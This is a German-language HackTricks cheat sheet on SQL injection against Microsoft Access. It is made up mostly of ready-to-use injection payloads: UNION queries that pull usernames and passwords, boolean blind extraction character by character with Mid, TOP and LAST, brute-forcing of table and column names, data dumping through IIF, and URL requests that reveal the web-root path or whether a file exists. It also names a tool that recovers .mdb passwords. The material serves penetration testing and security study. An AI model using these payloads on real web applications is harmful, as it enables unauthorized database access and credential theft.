MS Access SQL Injection

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Online-Spielplatz

DB-Einschränkungen

Zeichenkettenverkettung

Die Zeichenkettenverkettung ist möglich mit den Zeichen & (%26) und + (%2b).

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Kommentare

In MS Access gibt es keine Kommentare, aber anscheinend ist es möglich, das letzte Zeichen einer Abfrage mit einem NULL-Zeichen zu entfernen:

1' union select 1,2 from table%00

Wenn dies nicht funktioniert, könnten Sie immer die Syntax der Abfrage korrigieren:

1' UNION SELECT 1,2 FROM table WHERE ''='

Gestapelte Abfragen

Sie werden nicht unterstützt.

LIMIT

Der LIMIT Operator ist nicht implementiert. Es ist jedoch möglich, die Ergebnisse einer SELECT-Abfrage auf die ersten N Tabellenzeilen mit dem TOP Operator zu begrenzen. TOP akzeptiert als Argument eine Ganzzahl, die die Anzahl der zurückzugebenden Zeilen darstellt.

1' UNION SELECT TOP 3 attr FROM table%00

Genau wie TOP können Sie LAST verwenden, um die Zeilen vom Ende zu erhalten.

UNION-Abfragen/Unterabfragen

Bei einer SQL-Injection möchten Sie normalerweise eine neue Abfrage ausführen, um Informationen aus anderen Tabellen abzurufen. MS Access erfordert immer, dass in Unterabfragen oder zusätzlichen Abfragen ein FROM angegeben wird. Wenn Sie also ein UNION SELECT oder UNION ALL SELECT oder ein SELECT in Klammern in einer Bedingung ausführen möchten, müssen Sie immer eine FROM mit einem gültigen Tabellennamen angeben. Daher müssen Sie einen gültigen Tabellennamen kennen.

-1' UNION SELECT username,password from users%00

Verkettung von Gleichheitszeichen + Teilzeichenkette

Dies ermöglicht es Ihnen, Werte der aktuellen Tabelle abzurufen, ohne den Tabellennamen zu kennen.

MS Access erlaubt eine seltsame Syntax wie '1'=2='3'='asd'=false. Da die SQL-Injection normalerweise in einer WHERE-Klausel stattfindet, können wir das ausnutzen.

Stellen Sie sich vor, Sie haben eine SQLi in einer MS Access-Datenbank und Sie wissen (oder haben geraten), dass ein Spaltenname "username" ist und dies das Feld ist, das Sie abfragen möchten. Sie könnten die verschiedenen Antworten der Webanwendung überprüfen, wenn die Technik der verketteten Gleichheitszeichen verwendet wird, und potenziell Inhalte mit einer booleschen Injection unter Verwendung der Mid-Funktion abrufen, um Teilzeichenketten zu erhalten.

'=(Mid(username,1,3)='adm')='

Wenn Sie den Namen der Tabelle und Spalte kennen, die Sie abrufen möchten, können Sie eine Kombination aus Mid, LAST und TOP verwenden, um alle Informationen über eine boolean SQLi auszulecken:

SELECT TOP 1 MID(column, 1, 1) FROM (SELECT TOP 1 column FROM table ORDER BY column) AS table_alias UNION SELECT TOP 1 MID(column, 2, 1) FROM (SELECT TOP 1 column FROM table ORDER BY column) AS table_alias UNION SELECT TOP 1 MID(column, 3, 1) FROM (SELECT TOP 1 column FROM table ORDER BY column) AS table_alias ...

Dieser Angriff nutzt die Funktionen MID und TOP, um die Daten zeichenweise abzurufen. Durch die Verwendung von LAST können Sie die Länge der Spalte ermitteln. Durch die Kombination dieser Techniken können Sie alle Informationen aus der angegebenen Tabelle und Spalte abrufen.

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Fühlen Sie sich frei, dies im Online-Playground zu überprüfen.

Brute-Forcing von Tabellennamen

Mit der Chaining-Equals-Technik können Sie auch Tabellennamen brute-forcen, beispielsweise mit:

'=(select+top+1+'lala'+from+<table_name>)='

Sie können auch einen traditionelleren Weg verwenden:

-1' AND (SELECT TOP 1 <table_name>)%00

Fühlen Sie sich frei, dies im Online-Playground zu überprüfen.

Brute-Forcing von Spaltennamen

Sie können aktuelle Spaltennamen mit dem Chaining-Equals-Trick brute-forcen, indem Sie Folgendes verwenden:

'=column_name='

Oder mit einer group by-Anweisung:

-1' GROUP BY column_name%00

Oder Sie können die Spaltennamen einer anderen Tabelle mit Brute-Force ermitteln:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Daten dumpen

Wir haben bereits die Chaining-Equals-Technik besprochen, um Daten aus der aktuellen und anderen Tabellen zu dumpen. Aber es gibt auch andere Möglichkeiten:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

Kurz gesagt verwendet die Abfrage eine "if-then" Anweisung, um einen "200 OK" auszulösen, wenn sie erfolgreich ist, oder einen "500 Internal Error" sonst. Durch die Verwendung des TOP 10 Operators ist es möglich, die ersten zehn Ergebnisse auszuwählen. Die anschließende Verwendung von LAST ermöglicht es, nur das 10. Tupel zu berücksichtigen. Mit dem MID Operator ist es möglich, einen einfachen Zeichenvergleich durchzuführen. Durch die richtige Änderung des Index von MID und TOP können wir den Inhalt des Feldes "Benutzername" für alle Zeilen ausgeben.

Zeitbasiert

Überprüfen Sie https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

Andere interessante Funktionen

  • Mid('admin',1,1) gibt den Teilstring ab Position 1 mit Länge 1 zurück (Startposition ist 1)

  • LEN('1234') gibt die Länge des Strings zurück

  • ASC('A') gibt den ASCII-Wert des Zeichens zurück

  • CHR(65) gibt den String vom ASCII-Wert zurück

  • IIF(1=1,'a','b') if then

  • COUNT(*) zählt die Anzahl der Elemente

Tabellen auflisten

Von hier aus können Sie eine Abfrage sehen, um Tabellennamen zu erhalten:

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

Jedoch ist es sehr typisch, SQL-Injections zu finden, bei denen Sie keinen Zugriff haben, um die Tabelle MSysObjects zu lesen.

Dateisystemzugriff

Vollständiger Pfad des Web-Root-Verzeichnisses

Die Kenntnis des absoluten Pfads des Web-Roots kann weitere Angriffe erleichtern. Wenn Anwendungsfehler nicht vollständig verborgen sind, kann der Verzeichnispfad aufgedeckt werden, indem versucht wird, Daten aus einer nicht vorhandenen Datenbank auszuwählen.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access antwortet mit einer Fehlermeldung, die den vollständigen Pfad des Webverzeichnisses enthält.

Dateien auflisten

Der folgende Angriffsvektor kann verwendet werden, um die Existenz einer Datei im Remote-Dateisystem zu ermitteln. Wenn die angegebene Datei existiert, löst MS Access eine Fehlermeldung aus, die darauf hinweist, dass das Datenbankformat ungültig ist:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Eine andere Möglichkeit, Dateien aufzulisten, besteht darin, ein Datenbanktabellenelement anzugeben. Wenn die angegebene Datei existiert, zeigt MS Access eine Fehlermeldung zum Datenbankformat an.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

.mdb-Dateiname erraten

Der Datenbankdateiname (.mdb) kann mit der folgenden Abfrage ermittelt werden:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Dabei ist name[i] ein .mdb-Dateiname und realTable eine vorhandene Tabelle in der Datenbank. Obwohl MS Access immer eine Fehlermeldung auslöst, ist es möglich, zwischen einem ungültigen Dateinamen und einem gültigen .mdb-Dateinamen zu unterscheiden.

.mdb-Passwortknacker

Access PassView ist ein kostenloses Dienstprogramm, das verwendet werden kann, um das Hauptdatenbankpasswort von Microsoft Access 95/97/2000/XP oder Jet Database Engine 3.0/4.0 wiederherzustellen.

Referenzen

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated